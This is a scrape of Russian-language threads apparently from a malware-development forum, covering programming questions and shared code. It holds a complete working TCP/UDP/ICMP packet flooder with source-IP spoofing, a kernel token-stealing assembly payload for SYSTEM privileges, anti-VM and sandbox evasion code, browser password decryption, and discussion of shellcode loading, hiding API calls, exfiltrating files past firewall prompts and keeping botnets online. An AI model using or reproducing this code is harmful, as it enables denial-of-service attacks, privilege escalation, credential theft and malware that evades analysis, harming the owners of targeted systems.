    using System;
    using System.Runtime.InteropServices;

    internal static class NativeMethods
    {
        [DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode)]
        internal static extern IntPtr GetModuleHandle(string lpModuleName);
    }
}

Теперь создаём класс CheckVirtual.cs который делает всю магию космоса

C#:Copy to clipboard

namespace AntiVM
{
    using System;
    using System.Collections.Generic;
    using System.Diagnostics;
    using System.Linq;
    using System.Management;
    using System.Windows.Forms;

    public static class CheckVirtual
    {
        /* Created r3xq1 */

        /// <summary>
        /// <b>Метод для проверки на запуск в среде RDP</b> (Remote Desktop Protocol)
        /// </summary>
        public static bool IsRdpAvailable => SystemInformation.TerminalServerSession == true;

        /// <summary>
        /// <b>Метод для проверки запуска в песочнице.</b>
        /// <para>Если исполняемый файл будет запущен внутри Песочницы то возвращяем <b>true</b> иначе <b>false</b></para>
        /// </summary>
        /// <returns><b>true</b> или <b>false</b></returns>
        public static bool SandBoxies => Process.GetProcessesByName("SbieCtrl").Length > 0 && NativeMethods.GetModuleHandle("SbieDll.dll") != IntPtr.Zero;

        /// <summary>
        /// <b>Метод для проверки Vmware. Inc на машине пользователя.</b>
        /// <para>Проходится по списку <b>VirtualNames</b> и если находит совпадения то возвращает <b>true</b> иначе <b>false</b></para>
        /// </summary>
        /// <returns><b>true</b> или <b>false</b></returns>
        public static bool CheckWMI()
        {
            var VirtualNames = new List<string>
            {
                "virtual", "vmbox", "vmware", "virtualbox", "box",
                "thinapp", "VMXh", "innotek gmbh", "tpvcgateway",
                "tpautoconnsvc", "vbox", "kvm", "red hat"
            };
            List<string> list = GetModelsAndManufactures();
            foreach (string spisok in list)
            {
                return VirtualNames.Contains(spisok); // true
            }
            return false;
        }

        /// <summary>
        /// <b>Метод для получения информации о Производителе и Модели машины на системе пользователя.</b>
        /// </summary>
        /// <returns>Возвращает Модель и Производителя компьютера.</returns>
        private static List<string> GetModelsAndManufactures()
        {
            var ModMan = new List<string>();
            try
            {
                using var searcher = new ManagementObjectSearcher(@"root\CIMV2", "SELECT * FROM Win32_ComputerSystem");
                using var items = searcher.Get().OfType<ManagementObject>().Where(p => p != null).FirstOrDefault();
                ModMan.Add(items["Manufacturer"]?.ToString().ToLower());
                ModMan.Add(items["Model"]?.ToString().ToLower());
            }
            catch { }
            return ModMan;
        }

        /// <summary>
        /// <b>Инициализатор проверки всех методов на наличие запуска в среде VMware</b> (Virtual Machine)
        /// </summary>
        /// <returns></returns>
        public static bool Inizialize() => SandBoxies || IsRdpAvailable || CheckWMI();
    }
}

Реализация проверки

C#:Copy to clipboard

namespace AntiVM
{
    using System;

    internal static class Program
    {
        [STAThread]
        public static void Main()
        {
            Console.Title = "Anti Virtual Machine - (VM)";

            if (CheckVirtual.Inizialize())
            {
                Console.WriteLine("Обнаружена виртуальная машина");
            }
            else
            {
                Console.WriteLine("Вы работаете на рабочей машине.");
            }

            Console.Read();
        }
    }
}

Проверялось на нескольких виртуалках, всё отработало как надо, тестируйте, изменяйте под свои нужны.

Получить логин, пароль из logins.json firefox?
ID: 6765d804b4103b69df375a52
Thread ID: 38501
Created: 2020-06-16T16:36:32+0000
Last Post: 2020-06-16T16:59:08+0000
Author: tilekvj
Replies: 2 Views: 1K

Очень долго копался в этой теме, но годного ничего не нашел. Я правда, реализовал при помощи nss3.dll, но если пк 64, а если компилировал по 32 и наоборот, то не сработает. Есть ли варианты дешифровки? Буду очень благодарен не только я, но думаю, и многие

CryptUnprotectData
ID: 6765d804b4103b69df375a53
Thread ID: 38424
Created: 2020-06-14T13:27:40+0000
Last Post: 2020-06-14T15:52:46+0000
Author: return
Replies: 4 Views: 1K

C++:Copy to clipboard

const char *BrowserPass::uncryptData(BYTE *password, int size)
{
    DATA_BLOB op;
    DATA_BLOB ex;
    
    op.pbData = password;
    op.cbData = (size + 1);
    if (CryptUnprotectData(&op, NULL, NULL, NULL, NULL, 0, &ex)) 
    {
        ex.pbData[ex.cbData] = '\0';
        return ((const char*)ex.pbData);
    }
    else
    {
        dw = GetLastError();
        _tprintf(TEXT("CryptUnprotectData error code: %lu\n"), dw);
    }
}

CryptUnprotectData error code: 87
коротко о том с чем не справляется так это с паролями в которых присутствуют "точки". help?

Написание PE загрузчика.
ID: 6765d804b4103b69df375a5b
Thread ID: 37949
Created: 2020-05-31T15:08:07+0000
Last Post: 2020-06-01T14:36:54+0000
Author: TDL
Replies: 5 Views: 1K

Здравствуйте. На данный момент занимаюсь написанием PE загрузчика, и в процессе возник вопрос. Есть исходник подобного на github - тык.
На 259 строке тут производится попытка зарезервировать память под образ, стартуя с адреса текущего образа ( 1 параметр Virtual Alloc). Далее, в том случае, если зарезервировать память не удалось - действие повторяется, но уже первым параметром передаётся NULL, что означает, что система сама выберет то место в памяти, с которого начнётся резервирование памяти. Зачем это делается? Почему изначально производится попытка резервировать память, начиная с адреса текущего образа? В каких случаях будет произведено резервирование памяти по произвольному адресу?

c# 4.0 Zip архивация без дополнительных библиотек , можно ?
ID: 6765d804b4103b69df375a5c
Thread ID: 37931
Created: 2020-05-30T22:53:48+0000
Last Post: 2020-05-31T00:43:29+0000
Author: DeiTy
Replies: 4 Views: 1K

Hidden content for authorized users.

Можно ли создать зип архив без сторонних библиотек в net 4.0 ?
Гуглил но не нашёл

C/C++ Альтернатива OpenSSL
ID: 6765d804b4103b69df375a5d
Thread ID: 37739
Created: 2020-05-25T13:59:08+0000
Last Post: 2020-05-25T15:46:17+0000
Author: Naraku
Replies: 3 Views: 1K

До этого момента имел малый опыт работы с сетью, в основном работал с ней на шарпе, где и дефолтные методы позволяли работать с HTTPS и SMTPS. Однако, сейчас потребовалось произвести скромные действия с получением данных по HTTPS протоколу и немного поработать с почтой. Если HTTPS можно просто проигнорировать и работать по старому доброму HTTP, то современные почтовые сервисы отказываются воркать без шифрования. Собственно по этому поводу полез в гугл и гитхаб, но все что нарыл - OpenSSL. Поэтому и задаю сей вопрос, есть ли какие альтернативы ему? Ибо компилировать эту либу со всем гемором и использовать ее для произведения столь примитивных действий как-то не хочется. Мб есть что полегче на подъем или вовсе пример какого-нибудь велосипеда, реализующего зашифрованное соединение?
В дополнение еще интересно, почему везде встречается ssl, если, по крайней мере как я вычитал, его уже давно не используют, а его место занял достопочтенный TLS 1.2?

Код asm и С++
ID: 6765d804b4103b69df375a60
Thread ID: 37419
Created: 2020-05-17T10:25:17+0000
Last Post: 2020-05-19T07:35:15+0000
Author: soldxqe
Replies: 3 Views: 1K

Здравствуйте. кто может помочь ? переписать код asm на С++.

Code:Copy to clipboard

;priv.asm
;grant SYSTEM account privileges to calling process

[BITS 64]

start:
;    db 0cch                 ;uncomment to debug
    mov rdx, [gs:188h]      ;get _ETHREAD pointer from KPCR
    mov r8, [rdx+70h]       ;_EPROCESS (see PsGetCurrentProcess function)
    mov r9, [r8+188h]       ;ActiveProcessLinks list head

    mov rcx, [r9]           ;follow link to first process in list
find_system_proc:
    mov rdx, [rcx-8]        ;offset from ActiveProcessLinks to UniqueProcessId
    cmp rdx, 4              ;process with ID 4 is System process
    jz found_it
    mov rcx, [rcx]          ;follow _LIST_ENTRY Flink pointer
    cmp rcx, r9             ;see if back at list head
    jnz find_system_proc
    db 0cch                 ;(int 3) process #4 not found, should never happen

found_it:
    mov rax, [rcx+80h]      ;offset from ActiveProcessLinks to Token
    and al, 0f0h            ;clear low 4 bits of _EX_FAST_REF structure
    mov [r8+208h], rax      ;replace current process token with system token
    ret
APK лоадер на amazon.
ID: 6765d804b4103b69df375a67
Thread ID: 37063
Created: 2020-05-05T14:59:59+0000
Last Post: 2020-05-05T14:59:59+0000
Author: kammaz
Replies: 0 Views: 1K

Доброго времени суток.Задумался прочему ещё не реализовано на амазоне что то подобное как на гугал плей.?
Источников трафика хватает на данный апк,доверие будет достаточно.
Есть кто заливал туда прилу?
Может уже есть готовое решение у кого?

WinApi вызовы
ID: 6765d804b4103b69df375a68
Thread ID: 37061
Created: 2020-05-05T14:21:55+0000
Last Post: 2020-05-05T14:35:06+0000
Author: h0peIess
Replies: 4 Views: 1K

Hidden content for authorized users.

Хэй, кто-нибудь может предоставить пример или подробно рассказать о том, как можно скрыть WinApi вызовы? (Кроме вызова по хешу и прыжков в тело функции после ее пролога)

G3M Geminid II. TCP/UDP/ICMP Packet flooder
ID: 6765d804b4103b69df375b3d
Thread ID: 23846
Created: 2013-01-31T06:13:23+0000
Last Post: 2013-01-31T06:13:23+0000
Author: DarckSol
Replies: 0 Views: 1K

Code:Copy to clipboard

/*
 * Geminid II. TCP/UDP/ICMP Packet flooder
 *
 *
 * Usage: geminid [-T -U -I -N -s -h -d -p -q -l -t]
 *
 *     -T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN]   (no default         )
 *     -U UDP attack                                (no options         )
 *     -I ICMP attack                               (no options         )
 *     -N Bogus No flag attack                      (no options         )
 *     -s source class/ip                           (defaults to random )
 *     -h destination host/ip                       (no default         )
 *     -d destination class                         (no default         )
 *     -p destination port range [start,end]        (defaults to random )
 *     -q source port range [start,end]             (defaults to random )
 *     -l % of box link to use                      (defaults to 100%   )
 *     -t timeout                                   (defaults to forever)
 *
 *
 * Compiling
 * 
 *      Default:
 *      % gcc geminid.c -o geminid
 *
 *      With password file option:
 *      % gcc -DF_PASS geminid.c -o geminid
 *
 * by LIVE
 */



#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>

#ifdef F_PASS
#include <sys/stat.h>
#endif

#include <netinet/in_systm.h>                                                   
#include <sys/socket.h>
#include <string.h>
#include <time.h>

#ifndef __USE_BSD
#   define __USE_BSD
#endif

#ifndef __FAVOR_BSD
#   define __FAVOR_BSD
#endif

#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>


#ifdef LINUX
#   define FIX(x)  htons(x)
#else
#   define FIX(x)  (x)
#endif


/* Geminid attack flags */
#define TCP_ACK         1
#define TCP_FIN         2
#define TCP_SYN         4
#define TCP_RST         8
#define UDP_CFF        16
#define ICMP_ECHO_G    32
#define TCP_NOF        64 /* -N */

/* No flag attack */
#define TH_NOF         0x0

#define TCP_ATTACK()    (a_flags & TCP_ACK ||\
                         a_flags & TCP_FIN ||\
                         a_flags & TCP_SYN ||\
                         a_flags & TCP_RST ||\
                         a_flags & TCP_NOF)


#define UDP_ATTACK()    (a_flags & UDP_CFF)
#define ICMP_ATTACK()   (a_flags & ICMP_ECHO_G)


#define CHOOSE_DST_PORT() dst_sp == 0 ?\
                          random ()   :\
                          htons(dst_sp + (random() % (dst_ep -dst_sp +1)));


#define CHOOSE_SRC_PORT() src_sp == 0 ?\
                          random ()   :\
                          htons(src_sp + (random() % (src_ep -src_sp +1)));


#define SEND_PACKET()   if (sendto(rawsock,\
                                   &packet,\
                                   (sizeof packet),\
                                   0,\
                                   (struct sockaddr *)&target,\
                                    sizeof target) < 0) {\
                                        perror("sendto");\
                                        exit(-1);\
                        }



/* Linux / SunOS x86 / FreeBSD */
//#define BANNER_CKSUM 54018

/* SunOS Sparc */
#define BANNER_CKSUM 723


u_long lookup(const char *host);
unsigned short in_cksum(unsigned short *addr, int len);                         
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_tcp(u_char th_flags);
static void send_udp(u_char garbage);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);


u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct sockaddr_in target;

/* Self promotion :) */
const char *banner = "Geminid II. by live [TCP/UDP/ICMP Packet flooder]";

struct pseudo_hdr {         /* See RFC 793 Pseudo Header */
    u_long saddr, daddr;    /* source and dest address   */
    u_char mbz, ptcl;       /* zero and protocol         */
    u_short tcpl;           /* tcp length                */
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcphdr tcp;
};


struct {
    int gv; /* Geminid value */
    int kv; /* Kernel value */
    void (*f)(u_char);
} a_list[] = {

        /* TCP */
    { TCP_ACK, TH_ACK, send_tcp },
    { TCP_FIN, TH_FIN, send_tcp },
    { TCP_SYN, TH_SYN, send_tcp },
    { TCP_RST, TH_RST, send_tcp },
    { TCP_NOF, TH_NOF, send_tcp }, /* No flag attack */

        /* UDP */
    { UDP_CFF, 0, send_udp }, 

        /* ICMP */
    { ICMP_ECHO_G, ICMP_ECHO, send_icmp },
    { 0, 0, (void *)NULL },
};


int
main(int argc, char *argv[])
{
    int n, i, on = 1;
    int b_link;
#ifdef F_PASS
    struct stat sb;
#endif
    unsigned int until;


    a_flags = dstaddr = i = 0;
    dst_sp = dst_ep = src_sp = src_ep = 0;
    until = b_link = -1;
    src_class = dst_class = NULL;
    while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
        char *p;

        switch (n) {
            case 'T': /* TCP attack 
                       *
                       * 0: ACK
                       * 1: FIN
                       * 2: RST
                       * 3: SYN
                       */

                switch (atoi(optarg)) {
                    case 0: a_flags |= TCP_ACK; break;
                    case 1: a_flags |= TCP_FIN; break;
                    case 2: a_flags |= TCP_RST; break;
                    case 3: a_flags |= TCP_SYN; break;
                }
                break;

            case 'U': /* UDP attack
                       */
                a_flags |= UDP_CFF;
                break;

            case 'I': /* ICMP attack
                       */
                a_flags |= ICMP_ECHO_G;
                break;

            case 'N': /* Bogus No flag attack (TCP)
                       */
                a_flags |= TCP_NOF;
                break;

            case 's':
                src_class = optarg;
                break;

            case 'h':
                dstaddr = lookup(optarg);    
                break;

            case 'd':
                dst_class = optarg;
                i = 1; /* neat flag to check command line later */
                break;

            case 'p':
                if ( (p = (char *) strchr(optarg, ',')) == NULL)
                    usage(argv[0]);
                dst_sp = atoi(optarg); /* Destination start port */
                dst_ep = atoi(p +1);   /* Destination end port */
                break;

            case 'q':
                if ( (p = (char *) strchr(optarg, ',')) == NULL)
                    usage(argv[0]);
                src_sp = atoi(optarg); /* Source start port */
                src_ep = atoi(p +1);   /* Source end port */
                break;

            case 'l':
                b_link = atoi(optarg);
                if (b_link <= 0 || b_link > 100)
                    usage(argv[0]);
                break;

            case 't':
                until = time(0) +atoi(optarg);
                break;

            default:
                usage(argv[0]);
                break;
        }
    }

    /* Checking command line */
    if ( (!dstaddr && !i) || 
         (dstaddr && i) ||
         (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
         (src_sp != 0 && src_sp > src_ep) ||
         (dst_sp != 0 && dst_sp > dst_ep))
            usage(argv[0]);

    srandom(time(NULL) ^ getpid());

    /* Opening RAW socket */
    if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
        perror("socket");
        exit(-1);
    }

    if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
        (char *)&on, sizeof(on)) < 0) {
            perror("setsockopt");
            exit(-1);
    }

    /* Filling target structure */
    target.sin_family           = AF_INET;

    /* Packeting! */
    for (n = 0;; ) {

        /* Poor link control handling */
        if (b_link != -1 && random() % 100 +1 > b_link) {
            if (random() % 200 +1 > 199)
                usleep(1);
            continue;
        }

        /* Sending requested packets */
        for (i = 0; a_list[i].f != NULL; ++i) {
            if (a_list[i].gv & a_flags)
                a_list[i].f(a_list[i].kv);
        }         

        /* Attack is finished? Do not check it every time, would eat
         * too much CPU */
        if (n++ == 100) {
            if (until != -1 && time(0) >= until) break;
            n = 0;
        }
    }
                
    exit(0);
}


u_long
lookup(const char *host)
{
    struct hostent *hp;

    if ( (hp = gethostbyname(host)) == NULL) {
        perror("gethostbyname");
        exit(-1);
    }

    return *(u_long *)hp->h_addr;
}


#define RANDOM() (int) random() % 255 +1

char *
class2ip(const char *class)
{
    static char ip[16];
    int i, j;

    for (i = 0, j = 0; class[i] != '\0'; ++i)
        if (class[i] == '.')
            ++j;

    switch (j) {
        case 0:
            sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
            break;
        case 1:
            sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
            break;
        case 2:
            sprintf(ip, "%s.%d", class, RANDOM());
            break;

        /* Spoofing single host */
        default: strncpy(ip, class, 16);
                 break;
    }
    return ip;
}


unsigned short
in_cksum(unsigned short *addr, int len)
{
    int nleft = len;
    int sum = 0;
    unsigned short *w = addr;
    unsigned short answer = 0;

    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    /*
     * Mop up an odd byte, if necessary
     */
    if (nleft == 1) {
        *(unsigned char *) (&answer) = *(unsigned char *)w;
        sum += answer;
    }

    /*
     * Add back carry outs from top 16 bits to low 16 bits
     */
    sum    = (sum >> 16) + (sum & 0xffff);  /* add hi 16 to low 16 */
    sum   += (sum >> 16);                   /* add carry           */
    answer = ~sum;                          /* truncate to 16 bits */

    return answer;
}


/*
 * Creating generic ip header, not yet ready to be used.
 */
static void
inject_iphdr(struct ip *ip, u_char p, u_char len)
{


    /* Filling IP header */
    ip->ip_hl             = 5;
    ip->ip_v              = 4;
    ip->ip_p              = p;
    ip->ip_tos            = 0x08; /* 0x08 */
    ip->ip_id             = random();
    ip->ip_len            = len;
    ip->ip_off            = 0;
    ip->ip_ttl            = 255;

    ip->ip_dst.s_addr     = dst_class != NULL ?
                            inet_addr(class2ip(dst_class)) :
                            dstaddr;

    ip->ip_src.s_addr     = src_class != NULL ? 
                            inet_addr(class2ip(src_class)) : 
                            random();

    /* I know, this is not part of the game, but anyway.. */
    target.sin_addr.s_addr = ip->ip_dst.s_addr;
}    


static void
send_tcp(u_char th_flags)
{
    struct cksum cksum;
    struct packet {
        struct ip ip;
        struct tcphdr tcp;
    } packet;


    /* Filling IP header */
    memset(&packet, 0, sizeof packet);
    inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
    packet.ip.ip_sum        = in_cksum((void *)&packet.ip, 20);

    /* Filling cksum pseudo header */
    cksum.pseudo.daddr      = dstaddr;
    cksum.pseudo.mbz        = 0;
    cksum.pseudo.ptcl       = IPPROTO_TCP;
    cksum.pseudo.tcpl       = htons(sizeof(struct tcphdr));
    cksum.pseudo.saddr      = packet.ip.ip_src.s_addr;

    /* Filling TCP header */
    packet.tcp.th_flags     = 0;
    packet.tcp.th_win       = htons(65535);
    packet.tcp.th_seq       = random();
    packet.tcp.th_ack       = 0;
    packet.tcp.th_flags     = th_flags;
    packet.tcp.th_off       = 5; 
    packet.tcp.th_urp       = 0;
    packet.tcp.th_sport     = CHOOSE_SRC_PORT();
    packet.tcp.th_dport     = CHOOSE_DST_PORT();
    cksum.tcp               = packet.tcp;
    packet.tcp.th_sum       = in_cksum((void *)&cksum, sizeof(cksum));
    SEND_PACKET();
}


static void
send_udp(u_char garbage) /* No use for garbage here, just to remain */
{                        /* coherent with a_list[]                  */
    struct packet {
        struct ip ip;
        struct udphdr udp;
    } packet;


    /* Filling IP header */
    memset(&packet, 0, sizeof packet);
    inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
    packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);

    /* Filling UDP header */
    packet.udp.uh_sport         = CHOOSE_SRC_PORT();
    packet.udp.uh_dport         = CHOOSE_DST_PORT();
    packet.udp.uh_ulen          = htons(sizeof packet.udp);
    packet.udp.uh_sum           = 0; /* No checksum */
    SEND_PACKET();
}


static void
send_icmp(u_char gargabe) /* Garbage discarded again.. */
{
    struct packet {
        struct ip ip;
        struct icmp icmp;
    } packet;


    /* Filling IP header */
    memset(&packet, 0, sizeof packet);
    inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
    packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);

    /* Filling ICMP header */
    packet.icmp.icmp_type       = ICMP_ECHO;
    packet.icmp.icmp_code       = 0;
    packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
    SEND_PACKET();
}


static void
usage(const char *argv0)
{
    printf("%s \n", banner);
    printf("Usage: %s [-T -U -I -N -s -h -d -p -q -l -t]\n\n", argv0);

printf("REGISTERED TO: seilaqm..\n\n");

printf("    -T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN]   (no default         )\n");
printf("    -U UDP attack                                (no options         )\n");
printf("    -I ICMP attack                               (no options         )\n");
printf("    -N Bogus No flag attack                      (no options         )\n");
printf("    -s source class/ip                           (defaults to random )\n");
printf("    -h destination host/ip                       (no default         )\n");
printf("    -d destination class                         (no default         )\n");
printf("    -p destination port range [start,end]        (defaults to random )\n");
printf("    -q source port range [start,end]             (defaults to random )\n");
printf("    -l %% of box link to use                      (defaults to 100%%   )\n");
printf("    -t timeout                                   (defaults to forever)\n");


    exit(-1);
}
Статические библиотеки и шаблонные функции.
ID: 6765d804b4103b69df375a6a
Thread ID: 36954
Created: 2020-05-01T18:29:23+0000
Last Post: 2020-05-04T12:22:47+0000
Author: Selfie
Replies: 1 Views: 1K

Всем привет. Есть определенная статическая библиотека ( .lib ), в ней находится шаблонная функция. При подключении библиотеки к проекту - функцию попросту не цепляет. С функциями без использования шаблонов всё хорошо. При работе с шаблонами в контексте статической библиотеки есть какие-то тонкости? Помогите пожалуйста, спасибо.

Вопрос по парсеру на c#
ID: 6765d804b4103b69df375a6b
Thread ID: 37013
Created: 2020-05-03T19:53:14+0000
Last Post: 2020-05-03T21:08:43+0000
Author: hwndrer
Replies: 2 Views: 1K

Может кто скинуть ссылок (или объяснить) где можно почитать на счет того как делать парсеры на шарпе

Cobalt server config
ID: 6765d804b4103b69df375a6d
Thread ID: 36981
Created: 2020-05-02T15:37:06+0000
Last Post: 2020-05-02T15:37:06+0000
Author: script
Replies: 0 Views: 1K

Приветствую заглянувших на огонек))
народ кто умеет уники делать с2 конфиги для кобы?

[ Malleable PE, Process Injection, and Post Exploitation - Cobalt Strike

](https://www.cobaltstrike.com/help-malleable-postex)

Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates...

www.cobaltstrike.com www.cobaltstrike.com

готов рассмотреть варианты сотрудничества

Снифф инстаграм
ID: 6765d804b4103b69df375a6f
Thread ID: 36853
Created: 2020-04-28T20:26:21+0000
Last Post: 2020-04-28T20:26:21+0000
Author: exep_false
Replies: 0 Views: 1K

Кто может помочь отснифать и подделать запросы инстаграм, то я перегрелся то ли фундаментально не понимаю как у них все работает, готов платить монетой за реал помощь

Готовые либы не вариант так как в них отсутствует функция прохождения капчи через рекапчу + мне нужен будет парс страницы по другим критериям

Если я в чем то не прав поправьте

Вопрос по отправке файлов c#
ID: 6765d804b4103b69df375a70
Thread ID: 36445
Created: 2020-04-17T15:26:00+0000
Last Post: 2020-04-17T23:02:05+0000
Author: badsci
Replies: 2 Views: 1K

Нужно настроить отправку файла,когда клиент запускает приложение c#,но есть нюансы.
Файл хочу получить в тг или на панель.Но при попытке отправить файлик в тг через прокси появляется чертов брандмауэр,который блокирует использование прокси и спрашивает разрешение.Можно ли это обойти?Конечно,если клиент разрешит,то все
придет,но данный способ меня не устраивает.
Есть идея отправить на хост файл,который либо отправит уже его в тг,либо просто скачать,но надо будет создавать панель и тп. Подскажите,стоит ли пытаться организовать отправку логов через тг, или же надо переходить на панель.

Обновление DNS
ID: 6765d804b4103b69df375a71
Thread ID: 36347
Created: 2020-04-14T12:38:45+0000
Last Post: 2020-04-14T20:07:15+0000
Author: A.Sever
Replies: 4 Views: 1K

Приветствую,
Существует такая проблема, при смене на домене IP - сразу все боты пропадают в оффлайн и очень медленно восстанавливаются, видно пингуют на старый ip домена. Сейчас я при каждом отстуке с сервера если нет от скрипт ответ ОК, то делаю:

Spoiler: КОД

upppq.erase(0, 1);
if (upppq != "Ok") {
system("ipconfig /flushdns");
}

Но все равно боты восстанавливаются до конца в течении суток.... Что посоветуете делать? Спасибо!

Жду ТЗ
ID: 6765d804b4103b69df375a72
Thread ID: 36309
Created: 2020-04-13T15:06:27+0000
Last Post: 2020-04-13T15:18:44+0000
Author: exep_false
Replies: 1 Views: 1K

Всем привет, на форуме 1й день, я начинающий (мамкин)кодер хочу в первую очередь приобрести практический опыт, готов написать не сложные софты (бруты/чекеры хз что актуально), hvnc с панелями и тд не дорос, максимум аналог гитхаба. Жду предложений за отзыв/сотку на сиги ну и конечно же практику и критику

RtlDecompressBuffer выкидывает ошибку
ID: 6765d804b4103b69df375a7e
Thread ID: 35519
Created: 2020-03-15T14:19:10+0000
Last Post: 2020-03-19T14:02:47+0000
Author: Naraku
Replies: 3 Views: 1K

Продолжаю копать темы шелл кодов, сжатия файлов и их динамического запуска. На сей раз кинул взгляд на функцию RtlDecompressBuffer и RtlCompressBuffer соответственно. Если со второй функцией все в порядке, то первая работать отказывается, выкидывая: "The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention." Каким боком нарушается соглашение о вызове не понимаю.
Сам код:

C++:Copy to clipboard

#include <Windows.h>

int DecompressData(PUCHAR Data, ULONG ulDataSize, PUCHAR lpEncryptData, ULONG ulEncSize)
{
    typedef NTSTATUS(__stdcall * fpRtlDecompressBuffer)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, PULONG);

    HMODULE ntdll = LoadLibraryA("ntdll.dll");
    if (ntdll)
    {
        fpRtlDecompressBuffer RtlDecompressBuffer = reinterpret_cast<fpRtlDecompressBuffer>(GetProcAddress(ntdll, "RtlCompressBuffer"));

        DWORD dwDecompSize;

        RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, lpEncryptData, ulEncSize, Data, ulDataSize, &dwDecompSize); // при вызове выкидывает ошибку
    }
    else return -1;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    unsigned char data[5203] = {
    /* байты упакованного функцией RtlCompressBuffer файла*/
    };

    DWORD dwSize = 0x2200; //Размер распакованного файла

    LPVOID lpEncData = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); // Память для распакованного файла

    DecompressData(data, sizeof(data), (PUCHAR)lpEncData, dwSize);    // Отправляем на распаковку

    //Здесь запуск кода
    
    return 0;
}
ищу с# кодера.
ID: 6765d804b4103b69df375a81
Thread ID: 35489
Created: 2020-03-12T21:31:44+0000
Last Post: 2020-03-15T10:52:46+0000
Author: mtd
Replies: 4 Views: 1K

ищу c# кодера, хорошо владеющего фреймворками типо метро, для визуальной состоявляющей приложения.

аномалии nodefaultlib?
ID: 6765d804b4103b69df375a83
Thread ID: 35455
Created: 2020-03-11T08:30:10+0000
Last Post: 2020-03-11T10:18:04+0000
Author: jingo
Replies: 3 Views: 1K

решил попробовать написать что-нибудь без использования crt, stl, которые вес добавляют.
компилятор по стандарту: студия 10 года
конфигурацию проекта взял из соседней темы (клик)

заметил некоторые аномалии:
иногда, когда строку в массив байт переводишь (memcpy) последний символ меняется
иногда поиск файлов барохлит, когда потоки на диск направляешь
и еще кучу по типу неизвестных функций, которые даже не использованы в проекте

что это такое, может из более просвещенных знает?

VS 2019 и строки
ID: 6765d804b4103b69df375a8d
Thread ID: 34929
Created: 2020-02-12T23:10:29+0000
Last Post: 2020-02-13T11:19:36+0000
Author: 128
Replies: 2 Views: 1K

Решил перейти на 19-ую студию, столкнулся со следующей проблемой: при попытке обьявления строки ловлю ошибки типо

C:Copy to clipboard

LPWSTR lpTest = L"Test";

Летит ошибка:

значение типа "const wchar_t *" нельзя использовать для инициализации сущности типа "LPWSTR"

Click to expand...

Помогите пожалуйста с решением данной проблемы

[C#] Программно сохранить скриншот всего экрана
ID: 6765d804b4103b69df375a99
Thread ID: 34351
Created: 2020-01-14T10:37:39+0000
Last Post: 2020-01-14T10:37:39+0000
Author: r3xq1
Replies: 0 Views: 1K

Создаём классScreenShot.cs

C#:Copy to clipboard

namespace Test
{
    using System;
    using System.Drawing;
    using System.Windows.Forms;

    public class ScreenShot
    {
        public static void Inizialize_Screen(string path)
        {
            try
            {
                using (var bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height))
                {
                    using (var g = Graphics.FromImage(bmp))
                    {
                        try
                        {
                            g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
                            bmp.Save(path);
                        }
                        catch { /* так же можно и тут словить исключение. */ }
                    }
                }
            }
            catch (Exception) { /* тут ловите исключение. */ }
        }
    }
}

Ну и просто вызов с сохранением в нужный путь:

C#:Copy to clipboard

ScreenShot.Inizialize_Screen("New_Screen.jpg");
вопрос по AtlAxWin
ID: 6765d804b4103b69df375b41
Thread ID: 23087
Created: 2012-09-02T14:37:23+0000
Last Post: 2012-09-02T19:26:15+0000
Author: greenzy
Replies: 1 Views: 1K

Привет всем! Возникла проблема с использованием этой апи. После инициализации, вызова с CreatWindow, как получить доступ к внутренности страницы? Вызываю чтобы отобразить url, нужно прочитать пару значение из сорца html страницы. Спасибо за помощь

[C#] Блокировка ввода в окно консоли
ID: 6765d804b4103b69df375a9a
Thread ID: 34349
Created: 2020-01-14T08:04:57+0000
Last Post: 2020-01-14T08:04:57+0000
Author: r3xq1
Replies: 0 Views: 1K

Данный класс не позволит пользователю писать в окно консоли какой-либо текст или цифры.

Создаём класс Locker.cs

C#:Copy to clipboard

using System;

/* Author r3xq1 */

public class Locker
{
   public static string ConsoleInput(bool status = true)
   {
            while (true)
            {
                ConsoleKeyInfo a = Console.ReadKey(status);
                string str = string.Empty;
